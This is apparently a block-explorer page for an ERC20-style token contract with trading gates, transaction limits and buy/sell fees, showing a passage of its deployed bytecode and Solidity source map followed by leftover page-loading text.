daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ed5760405162461bcd60e51b8152600401610473906113d9565b60055460068190556007555f600b8190556001600c819055600d91909155600e55565b5f6103b8338484610764565b5f546001600160a01b031633146105455760405162461bcd60e51b8152600401610473906113d9565b6014805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105835760405162461bcd60e51b8152600401610473906113d9565b6001600160a01b0381166105e85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610473565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b0382166107045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107c85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610473565b6001600160a01b03821661082a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610473565b5f811161088b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610473565b5f546001600160a01b038481169116148015906108b557505f546001600160a01b03838116911614155b15610ae157601454600160a01b900460ff1661094d575f546001600160a01b0384811691161461094d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610473565b60065481111561099f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610473565b6014546001600160a01b03838116911614610a2557600754816109c184610429565b6109cb9190611422565b1115610a255760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610473565b5f610a2f30610429565b600854600654919250821015908210610a485760065491505b808015610a5f5750601454600160a81b900460ff16155b8015610a7857506014546001600160a01b038581169116145b8015610a8d5750601454600160b01b900460ff165b8015610ab157506001600160a01b0385165f9081526004602052604090205460ff16155b8015610abe575060085483115b15610ade57610acc82610c40565b478015610adc57610adc47610db0565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610b2157506001600160a01b0383165f9081526004602052604090205460ff165b80610b5357506014546001600160a01b03858116911614801590610b5357506014546001600160a01b03848116911614155b15610b5f57505f610bd9565b6014546001600160a01b038581169116148015610b8a57506013546001600160a01b03848116911614155b15610b9c57600b54600f55600c546010555b6014546001600160a01b038481169116148015610bc757506013546001600160a01b03858116911614155b15610bd957600d54600f55600e546010555b610be584848484610deb565b50505050565b5f8184841115610c0e5760405162461bcd60e51b815260040161047391906112bd565b505f610c1a8486611435565b95945050505050565b5f80610c2d610e19565b9050610c398382610e3a565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8657610c86611448565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cdd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d01919061145c565b81600181518110610d1457610d14611448565b6001600160a01b039283166020918202929092010152601354610d3a9130911684610641565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d729085905f90869030904290600401611477565b5f604051808303815f87803b158015610d89575f80fd5b505af1158015610d9b573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610de7573d5f803e3d5ffd5b5050565b80610df857610df8610e7b565b610e03848484610ea8565b80610be557610be5601154600f55601254601055565b5f805f610e24610fd8565b9092509050610e338282610e3a565b9250505090565b5f610c3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611017565b600f54158015610e8b5750601054155b15610e9257565b600f8054601155601080546012555f9182905555565b5f805f805f80610eb787611043565b6001600160a01b038f165f90815260046020526040902054959b5093995091975095509350915060ff168015610ef65750601454600160a01b900460ff165b610f005785610f02565b5f5b6001600160a01b038a165f90815260026020526040902054909650610f279087611098565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054610f5590866110d9565b6001600160a01b0389165f90815260026020526040902055610f7681611137565b610f80848361117d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc591815260200190565b60405180910390a3505050505050505050565b6005545f908190670de0b6b3a7640000610ff28282610e3a565b82101561100e57505060055492670de0b6b3a764000092509050565b90939092509050565b5f81836110375760405162461bcd60e51b815260040161047391906112bd565b505f610c1a84866114e6565b5f805f805f805f805f61105b8a600f546010546111a1565b9250925092505f61106a610e19565b90505f805f61107b8e8787876111f3565b919e509c509a509598509396509194505050505091939550919395565b5f610c3983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610beb565b5f806110e58385611422565b905083811015610c395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610473565b5f611140610e19565b90505f61114d838361123f565b305f9081526002602052604090205490915061116990826110d9565b305f90815260026020526040902055505050565b60055461118a9083611098565b600555600a5461119a90826110d9565b600a555050565b5f8080806111ba60646111b4898961123f565b90610e3a565b90505f6111cc60646111b48a8961123f565b90505f6111e3826111dd8b86611098565b90611098565b9992985090965090945050505050565b5f808080611201888661123f565b90505f61120e888761123f565b90505f61121b888861123f565b90505f61122c826111dd8686611098565b939b939a50919850919650505050505050565b5f825f0361124e57505f6103bc565b5f6112598385611505565b90508261126685836114e6565b14610c395760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610473565b5f6020808352835180828501525f5b818110156112e8578581018301518582016040015282016112cc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461131c575f80fd5b50565b5f8060408385031215611330575f80fd5b823561133b81611308565b946020939093013593505050565b5f805f6060848603121561135b575f80fd5b833561136681611308565b9250602084013561137681611308565b929592945050506040919091013590565b5f60208284031215611397575f80fd5b8135610c3981611308565b5f80604083850312156113b3575f80fd5b82356113be81611308565b915060208301356113ce81611308565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103bc576103bc61140e565b818103818111156103bc576103bc61140e565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561146c575f80fd5b8151610c3981611308565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114c55784516001600160a01b0316835293830193918301916001016114a0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261150057634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103bc576103bc61140e56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201edffa68c1de0ed5095f7c5444df9b87d3326afa951fa0035ad3b8f60b07280264736f6c63430008150033

Deployed Bytecode Sourcemap

4217:11118:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4927:48;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4927:48:0;;;;;;;;6298:83;;;;;;;;;;-1:-1:-1;6368:5:0;;;;;;;;;;;;-1:-1:-1;;;6368:5:0;;;;6298:83;;;;;;;:::i;6957:193::-;;;;;;;;;;-1:-1:-1;6957:193:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6957:193:0;1205:187:1;6569:100:0;;;;;;;;;;-1:-1:-1;4718:15:0;6569:100;;7679:446;;;;;;;;;;-1:-1:-1;7679:446:0;;;;;:::i;:::-;;:::i;6480:83::-;;;;;;;;;;-1:-1:-1;6480:83:0;;4624:1;2000:36:1;;1988:2;1973:18;6480:83:0;1858:184:1;5389:29:0;;;;;;;;;;-1:-1:-1;5389:29:0;;;;-1:-1:-1;;;;;5389:29:0;;;;;;-1:-1:-1;;;;;2226:32:1;;;2208:51;;2196:2;2181:18;5389:29:0;2047:218:1;6681:136:0;;;;;;;;;;-1:-1:-1;6681:136:0;;;;;:::i;:::-;;:::i;1995:148::-;;;;;;;;;;;;;:::i;:::-;;9475:235;;;;;;;;;;;;;:::i;4807:51::-;;;;;;;;;;;;;;;;2399:79;;;;;;;;;;-1:-1:-1;2437:7:0;2464:6;-1:-1:-1;;;;;2464:6:0;2399:79;;6387:87;;;;;;;;;;-1:-1:-1;6459:7:0;;;;;;;;;;;;-1:-1:-1;;;6459:7:0;;;;6387:87;;15098:199;;;;;;;;;;-1:-1:-1;15098:199:0;;;;;:::i;:::-;;:::i;4865:55::-;;;;;;;;;;;;;;;;5425:20;;;;;;;;;;-1:-1:-1;5425:20:0;;;;-1:-1:-1;;;;;5425:20:0;;;9722:79;;;;;;;;;;;;;:::i;7263:184::-;;;;;;;;;;-1:-1:-1;7263:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7412:18:0;;;7380:7;7412:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7263:184;2149:244;;;;;;;;;;-1:-1:-1;2149:244:0;;;;;:::i;:::-;;:::i;6957:193::-;7059:4;7081:39;398:10;7104:7;7113:6;7081:8;:39::i;:::-;-1:-1:-1;7138:4:0;6957:193;;;;;:::o;7679:446::-;7811:4;7828:36;7838:6;7846:9;7857:6;7828:9;:36::i;:::-;7875:220;7898:6;398:10;7946:138;8002:6;7946:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7946:19:0;;;;;;:11;:19;;;;;;;;398:10;7946:33;;;;;;;;;;:37;:138::i;:::-;7875:8;:220::i;:::-;-1:-1:-1;8113:4:0;7679:446;;;;;:::o;6681:136::-;-1:-1:-1;;;;;6785:23:0;;6747:7;6785:23;;;:14;:23;;;;;;6774:35;;:10;:35::i;1995:148::-;2524:6;;-1:-1:-1;;;;;2524:6:0;398:10;2524:22;2516:67;;;;-1:-1:-1;;;2516:67:0;;;;;;;:::i;:::-;;;;;;;;;2102:1:::1;2086:6:::0;;2065:40:::1;::::0;-1:-1:-1;;;;;2086:6:0;;::::1;::::0;2065:40:::1;::::0;2102:1;;2065:40:::1;2133:1;2116:19:::0;;-1:-1:-1;;;;;;2116:19:0::1;::::0;;1995:148::o;9475:235::-;2524:6;;-1:-1:-1;;;;;2524:6:0;398:10;2524:22;2516:67;;;;-1:-1:-1;;;2516:67:0;;;;;;;:::i;:::-;9543:13:::1;::::0;9529:11:::1;:27:::0;;;9567:15:::1;:31:::0;-1:-1:-1;9619:12:0::1;:16:::0;;;9656:1:::1;9646:7;:11:::0;;;9668:10:::1;:14:::0;;;;9693:5:::1;:9:::0;9475:235::o;15098:199::-;15203:4;15225:42;398:10;15249:9;15260:6;15225:9;:42::i;9722:79::-;2524:6;;-1:-1:-1;;;;;2524:6:0;398:10;2524:22;2516:67;;;;-1:-1:-1;;;2516:67:0;;;;;;;:::i;:::-;9773:13:::1;:20:::0;;-1:-1:-1;;;;9773:20:0::1;-1:-1:-1::0;;;9773:20:0::1;::::0;;9722:79::o;2149:244::-;2524:6;;-1:-1:-1;;;;;2524:6:0;398:10;2524:22;2516:67;;;;-1:-1:-1;;;2516:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2238:22:0;::::1;2230:73;;;::::0;-1:-1:-1;;;2230:73:0;;3686:2:1;2230:73:0::1;::::0;::::1;3668:21:1::0;3725:2;3705:18;;;3698:30;3764:34;3744:18;;;3737:62;-1:-1:-1;;;3815:18:1;;;3808:36;3861:19;;2230:73:0::1;3484:402:1::0;2230:73:0::1;2340:6;::::0;;2319:38:::1;::::0;-1:-1:-1;;;;;2319:38:0;;::::1;::::0;2340:6;::::1;::::0;2319:38:::1;::::0;::::1;2368:6;:17:::0;;-1:-1:-1;;;;;;2368:17:0::1;-1:-1:-1::0;;;;;2368:17:0;;;::::1;::::0;;;::::1;::::0;;2149:244::o;9813:369::-;-1:-1:-1;;;;;9940:19:0;;9932:68;;;;-1:-1:-1;;;9932:68:0;;4093:2:1;9932:68:0;;;4075:21:1;4132:2;4112:18;;;4105:30;4171:34;4151:18;;;4144:62;-1:-1:-1;;;4222:18:1;;;4215:34;4266:19;;9932:68:0;3891:400:1;9932:68:0;-1:-1:-1;;;;;10019:21:0;;10011:68;;;;-1:-1:-1;;;10011:68:0;;4498:2:1;10011:68:0;;;4480:21:1;4537:2;4517:18;;;4510:30;4576:34;4556:18;;;4549:62;-1:-1:-1;;;4627:18:1;;;4620:32;4669:19;;10011:68:0;4296:398:1;10011:68:0;-1:-1:-1;;;;;10090:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10142:32;;160:25:1;;;10142:32:0;;133:18:1;10142:32:0;;;;;;;9813:369;;;:::o;12089:1982::-;-1:-1:-1;;;;;12211:18:0;;12203:68;;;;-1:-1:-1;;;12203:68:0;;4901:2:1;12203:68:0;;;4883:21:1;4940:2;4920:18;;;4913:30;4979:34;4959:18;;;4952:62;-1:-1:-1;;;5030:18:1;;;5023:35;5075:19;;12203:68:0;4699:401:1;12203:68:0;-1:-1:-1;;;;;12290:16:0;;12282:64;;;;-1:-1:-1;;;12282:64:0;;5307:2:1;12282:64:0;;;5289:21:1;5346:2;5326:18;;;5319:30;5385:34;5365:18;;;5358:62;-1:-1:-1;;;5436:18:1;;;5429:33;5479:19;;12282:64:0;5105:399:1;12282:64:0;12374:1;12365:6;:10;12357:64;;;;-1:-1:-1;;;12357:64:0;;5711:2:1;12357:64:0;;;5693:21:1;5750:2;5730:18;;;5723:30;5789:34;5769:18;;;5762:62;-1:-1:-1;;;5840:18:1;;;5833:39;5889:19;;12357:64:0;5509:405:1;12357:64:0;2437:7;2464:6;-1:-1:-1;;;;;12436:15:0;;;2464:6;;12436:15;;;;:32;;-1:-1:-1;2437:7:0;2464:6;-1:-1:-1;;;;;12455:13:0;;;2464:6;;12455:13;;12436:32;12432:1066;;;12490:13;;-1:-1:-1;;;12490:13:0;;;;12485:146;;2437:7;2464:6;-1:-1:-1;;;;;12532:15:0;;;2464:6;;12532:15;12524:91;;;;-1:-1:-1;;;12524:91:0;;6121:2:1;12524:91:0;;;6103:21:1;6160:2;6140:18;;;6133:30;6199:34;6179:18;;;6172:62;6270:33;6250:18;;;6243:61;6321:19;;12524:91:0;5919:427:1;12524:91:0;12663:11;;12653:6;:21;;12645:62;;;;-1:-1:-1;;;12645:62:0;;6553:2:1;12645:62:0;;;6535:21:1;6592:2;6572:18;;;6565:30;6631;6611:18;;;6604:58;6679:18;;12645:62:0;6351:352:1;12645:62:0;12731:5;;-1:-1:-1;;;;;12725:11:0;;;12731:5;;12725:11;12722:140;;12791:15;;12781:6;12765:13;12775:2;12765:9;:13::i;:::-;:22;;;;:::i;:::-;:41;;12757:89;;;;-1:-1:-1;;;12757:89:0;;7172:2:1;12757:89:0;;;7154:21:1;7211:2;7191:18;;;7184:30;7250:34;7230:18;;;7223:62;-1:-1:-1;;;7301:18:1;;;7294:33;7344:19;;12757:89:0;6970:399:1;12757:89:0;12876:23;12902:24;12920:4;12902:9;:24::i;:::-;12975:13;;13025:11;;12876:50;;-1:-1:-1;12956:32:0;;;;13006:30;;13003:112;;13088:11;;13070:29;;13003:112;13133:7;:19;;;;-1:-1:-1;13145:7:0;;-1:-1:-1;;;13145:7:0;;;;13144:8;13133:19;:34;;;;-1:-1:-1;13162:5:0;;-1:-1:-1;;;;;13156:11:0;;;13162:5;;13156:11;13133:34;:53;;;;-1:-1:-1;13171:15:0;;-1:-1:-1;;;13171:15:0;;;;13133:53;:83;;;;-1:-1:-1;;;;;;13191:25:0;;;;;;:19;:25;;;;;;;;13190:26;13133:83;:109;;;;;13229:13;;13220:6;:22;13133:109;13129:358;;;13263:33;13280:15;13263:16;:33::i;:::-;13337:21;13381:15;;13377:95;;13421:31;13430:21;13421:8;:31::i;:::-;13244:243;13129:358;12470:1028;;12432:1066;-1:-1:-1;;;;;13543:25:0;;13508:12;13543:25;;;:19;:25;;;;;;13523:4;;13543:25;;;:52;;-1:-1:-1;;;;;;13572:23:0;;;;;;:19;:23;;;;;;;;13543:52;13542:88;;;-1:-1:-1;13609:5:0;;-1:-1:-1;;;;;13601:13:0;;;13609:5;;13601:13;;;;:28;;-1:-1:-1;13624:5:0;;-1:-1:-1;;;;;13618:11:0;;;13624:5;;13618:11;;13601:28;13538:471;;;-1:-1:-1;13657:5:0;13538:471;;;13706:5;;-1:-1:-1;;;;;13698:13:0;;;13706:5;;13698:13;:46;;;;-1:-1:-1;13729:14:0;;-1:-1:-1;;;;;13715:29:0;;;13729:14;;13715:29;;13698:46;13695:146;;;13777:12;;13765:9;:24;13818:7;;13808;:17;13695:146;13865:5;;-1:-1:-1;;;;;13859:11:0;;;13865:5;;13859:11;:46;;;;-1:-1:-1;13890:14:0;;-1:-1:-1;;;;;13874:31:0;;;13890:14;;13874:31;;13859:46;13855:143;;;13938:10;;13926:9;:22;13977:5;;13967:7;:15;13855:143;14019:44;14037:4;14043:2;14047:6;14055:7;14019:17;:44::i;:::-;12192:1879;12089:1982;;;:::o;772:224::-;892:7;928:12;920:6;;;;912:29;;;;-1:-1:-1;;;912:29:0;;;;;;;;:::i;:::-;-1:-1:-1;952:9:0;964:5;968:1;964;:5;:::i;:::-;952:17;772:224;-1:-1:-1;;;;;772:224:0:o;8131:199::-;8217:7;8242:19;8264:16;:14;:16::i;:::-;8242:38;-1:-1:-1;8298:24:0;:7;8242:38;8298:11;:24::i;:::-;8291:31;8131:199;-1:-1:-1;;;8131:199:0:o;10965:477::-;5643:7;:14;;-1:-1:-1;;;;5643:14:0;-1:-1:-1;;;5643:14:0;;;11064:16:::1;::::0;;11078:1:::1;11064:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11064:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11064:16:0::1;11040:40;;11109:4;11091;11096:1;11091:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11091:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11135:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;11135:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;11091:7;;11135:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11125:4;11130:1;11125:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11125:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;11199:14:::1;::::0;11167:61:::1;::::0;11184:4:::1;::::0;11199:14:::1;11216:11:::0;11167:8:::1;:61::i;:::-;11239:14;::::0;:195:::1;::::0;-1:-1:-1;;;11239:195:0;;-1:-1:-1;;;;;11239:14:0;;::::1;::::0;:65:::1;::::0;:195:::1;::::0;11319:11;;11239:14:::1;::::0;11361:4;;11388::::1;::::0;11408:15:::1;::::0;11239:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5680:7:0;:15;;-1:-1:-1;;;;5680:15:0;;;-1:-1:-1;;;;10965:477:0:o;7162:95::-;7215:17;;:34;;-1:-1:-1;;;;;7215:17:0;;;;:34;;;;;7242:6;;7215:17;:34;:17;:34;7242:6;7215:17;:34;;;;;;;;;;;;;;;;;;;;;7162:95;:::o;14631:279::-;14790:7;14785:25;;14799:11;:9;:11::i;:::-;14821:44;14839:6;14847:9;14858:6;14821:17;:44::i;:::-;14881:7;14876:26;;14890:12;6882:18;;6870:9;:30;6921:16;;6911:7;:26;6829:116;14916:170;14964:7;14985:15;15002;15021:19;:17;:19::i;:::-;14984:56;;-1:-1:-1;14984:56:0;-1:-1:-1;15058:20:0;14984:56;;15058:11;:20::i;:::-;15051:27;;;;14916:170;:::o;1254:132::-;1312:7;1339:39;1343:1;1346;1339:39;;;;;;;;;;;;;;;;;:3;:39::i;7453:214::-;7497:9;;:14;:30;;;;-1:-1:-1;7515:7:0;;:12;7497:30;7493:43;;;7453:214::o;7493:43::-;7567:9;;;7546:18;:30;7606:7;;;7587:16;:26;-1:-1:-1;7624:13:0;;;;7648:11;7453:214::o;8504:724::-;8651:15;8681:23;8719:12;8746:23;8784:12;8811:13;8838:19;8849:7;8838:10;:19::i;:::-;-1:-1:-1;;;;;8879:27:0;;;;;;:19;:27;;;;;;8636:221;;-1:-1:-1;8636:221:0;;-1:-1:-1;8636:221:0;;-1:-1:-1;8636:221:0;-1:-1:-1;8636:221:0;-1:-1:-1;8636:221:0;-1:-1:-1;8879:27:0;;:44;;;;-1:-1:-1;8910:13:0;;-1:-1:-1;;;8910:13:0;;;;8879:44;8878:70;;8941:7;8878:70;;;8937:1;8878:70;-1:-1:-1;;;;;8984:22:0;;;;;;:14;:22;;;;;;8868:80;;-1:-1:-1;8984:35:0;;8868:80;8984:26;:35::i;:::-;-1:-1:-1;;;;;8959:22:0;;;;;;;:14;:22;;;;;;:60;;;;9058:25;;;;;;;:46;;9088:15;9058:29;:46::i;:::-;-1:-1:-1;;;;;9030:25:0;;;;;;:14;:25;;;;;:74;9115:14;9123:5;9115:7;:14::i;:::-;9140:20;9149:4;9155;9140:8;:20::i;:::-;9193:9;-1:-1:-1;;;;;9176:44:0;9185:6;-1:-1:-1;;;;;9176:44:0;;9204:15;9176:44;;;;160:25:1;;148:2;133:18;;14:177;9176:44:0;;;;;;;;8625:603;;;;;;8504:724;;;:::o;10663:290::-;10761:13;;10714:7;;;;4718:15;10840:31;10761:13;4718:15;10840:17;:31::i;:::-;10830:7;:41;10826:83;;;-1:-1:-1;;10881:13:0;;;4718:15;;-1:-1:-1;10663:290:0;-1:-1:-1;10663:290:0:o;10826:83::-;10928:7;;10937;;-1:-1:-1;10663:290:0;-1:-1:-1;10663:290:0:o;1392:223::-;1512:7;1547:12;1540:5;1532:28;;;;-1:-1:-1;;;1532:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1571:9:0;1583:5;1587:1;1583;:5;:::i;11448:629::-;11548:7;11570;11592;11614;11636;11658;11694:23;11719:12;11733:13;11763:40;11775:7;11784:9;;11795:7;;11763:11;:40::i;:::-;11693:110;;;;;;11814:19;11836:16;:14;:16::i;:::-;11814:38;;11864:15;11881:23;11906:12;11935:54;11955:7;11964:4;11970:5;11977:11;11935:19;:54::i;:::-;11863:126;;-1:-1:-1;11863:126:0;-1:-1:-1;11863:126:0;-1:-1:-1;12040:15:0;;-1:-1:-1;12057:4:0;;-1:-1:-1;12063:5:0;;-1:-1:-1;;;;;11448:629:0;;;;;;;:::o;630:136::-;688:7;715:43;719:1;722;715:43;;;;;;;;;;;;;;;;;:3;:43::i;445:179::-;503:7;;535:5;539:1;535;:5;:::i;:::-;523:17;;564:1;559;:6;;551:46;;;;-1:-1:-1;;;551:46:0;;9436:2:1;551:46:0;;;9418:21:1;9475:2;9455:18;;;9448:30;9514:29;9494:18;;;9487:57;9561:18;;551:46:0;9234:351:1;9240:229:0;9291:19;9313:16;:14;:16::i;:::-;9291:38;-1:-1:-1;9340:13:0;9356:22;:5;9291:38;9356:9;:22::i;:::-;9444:4;9421:29;;;;:14;:29;;;;;;9340:38;;-1:-1:-1;9421:40:0;;9340:38;9421:33;:40::i;:::-;9412:4;9389:29;;;;:14;:29;;;;;:72;-1:-1:-1;;;9240:229:0:o;8342:150::-;8423:13;;:23;;8441:4;8423:17;:23::i;:::-;8407:13;:39;8467:7;;:17;;8479:4;8467:11;:17::i;:::-;8457:7;:27;-1:-1:-1;;8342:150:0:o;10188:469::-;10357:7;;;;10451:30;10477:3;10451:21;:7;10463:8;10451:11;:21::i;:::-;:25;;:30::i;:::-;10436:45;-1:-1:-1;10492:13:0;10508:28;10532:3;10508:19;:7;10520:6;10508:11;:19::i;:28::-;10492:44;-1:-1:-1;10547:23:0;10573:28;10492:44;10573:17;:7;10585:4;10573:11;:17::i;:::-;:21;;:28::i;:::-;10547:54;10637:4;;-1:-1:-1;10643:5:0;;-1:-1:-1;10188:469:0;;-1:-1:-1;;;;;10188:469:0:o;14083:542::-;14285:7;;;;14382:24;:7;14394:11;14382;:24::i;:::-;14364:42;-1:-1:-1;14417:12:0;14432:21;:4;14441:11;14432:8;:21::i;:::-;14417:36;-1:-1:-1;14464:13:0;14480:22;:5;14490:11;14480:9;:22::i;:::-;14464:38;-1:-1:-1;14513:23:0;14539:28;14464:38;14539:17;:7;14551:4;14539:11;:17::i;:28::-;14586:7;;;;-1:-1:-1;14612:4:0;;-1:-1:-1;14083:542:0;;-1:-1:-1;;;;;;;14083:542:0:o;1002:246::-;1060:7;1084:1;1089;1084:6;1080:47;;-1:-1:-1;1114:1:0;1107:8;;1080:47;1137:9;1149:5;1153:1;1149;:5;:::i;:::-;1137:17;-1:-1:-1;1182:1:0;1173:5;1177:1;1137:17;1173:5;:::i;:::-;:10;1165:56;;;;-1:-1:-1;;;1165:56:0;;9965:2:1;1165:56:0;;;9947:21:1;10004:2;9984:18;;;9977:30;10043:34;10023:18;;;10016:62;-1:-1:-1;;;10094:18:1;;;10087:31;10135:19;;1165:56:0;9763:397:1;196:548;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2270:247::-;2329:6;2382:2;2370:9;2361:7;2357:23;2353:32;2350:52;;;2398:1;2395;2388:12;2350:52;2437:9;2424:23;2456:31;2481:5;2456:31;:::i;2730:388::-;2798:6;2806;2859:2;2847:9;2838:7;2834:23;2830:32;2827:52;;;2875:1;2872;2865:12;2827:52;2914:9;2901:23;2933:31;2958:5;2933:31;:::i;:::-;2983:5;-1:-1:-1;3040:2:1;3025:18;;3012:32;3053:33;3012:32;3053:33;:::i;:::-;3105:7;3095:17;;;2730:388;;;;;:::o;3123:356::-;3325:2;3307:21;;;3344:18;;;3337:30;3403:34;3398:2;3383:18;;3376:62;3470:2;3455:18;;3123:356::o;6708:127::-;6769:10;6764:3;6760:20;6757:1;6750:31;6800:4;6797:1;6790:15;6824:4;6821:1;6814:15;6840:125;6905:9;;;6926:10;;;6923:36;;;6939:18;;:::i;7374:128::-;7441:9;;;7462:11;;;7459:37;;;7476:18;;:::i;7639:127::-;7700:10;7695:3;7691:20;7688:1;7681:31;7731:4;7728:1;7721:15;7755:4;7752:1;7745:15;7771:251;7841:6;7894:2;7882:9;7873:7;7869:23;7865:32;7862:52;;;7910:1;7907;7900:12;7862:52;7942:9;7936:16;7961:31;7986:5;7961:31;:::i;8027:980::-;8289:4;8337:3;8326:9;8322:19;8368:6;8357:9;8350:25;8394:2;8432:6;8427:2;8416:9;8412:18;8405:34;8475:3;8470:2;8459:9;8455:18;8448:31;8499:6;8534;8528:13;8565:6;8557;8550:22;8603:3;8592:9;8588:19;8581:26;;8642:2;8634:6;8630:15;8616:29;;8663:1;8673:195;8687:6;8684:1;8681:13;8673:195;;;8752:13;;-1:-1:-1;;;;;8748:39:1;8736:52;;8843:15;;;;8808:12;;;;8784:1;8702:9;8673:195;;;-1:-1:-1;;;;;;;8924:32:1;;;;8919:2;8904:18;;8897:60;-1:-1:-1;;;8988:3:1;8973:19;8966:35;8885:3;8027:980;-1:-1:-1;;;8027:980:1:o;9012:217::-;9052:1;9078;9068:132;;9122:10;9117:3;9113:20;9110:1;9103:31;9157:4;9154:1;9147:15;9185:4;9182:1;9175:15;9068:132;-1:-1:-1;9214:9:1;;9012:217::o;9590:168::-;9663:9;;;9694;;9711:15;;;9705:22;;9691:37;9681:71;;9732:18;;:::i

Swarm Source

ipfs://1edffa68c1de0ed5095f7c5444df9b87d3326afa951fa0035ad3b8f60b072802
Loading...
Loading
Loading...
Loading
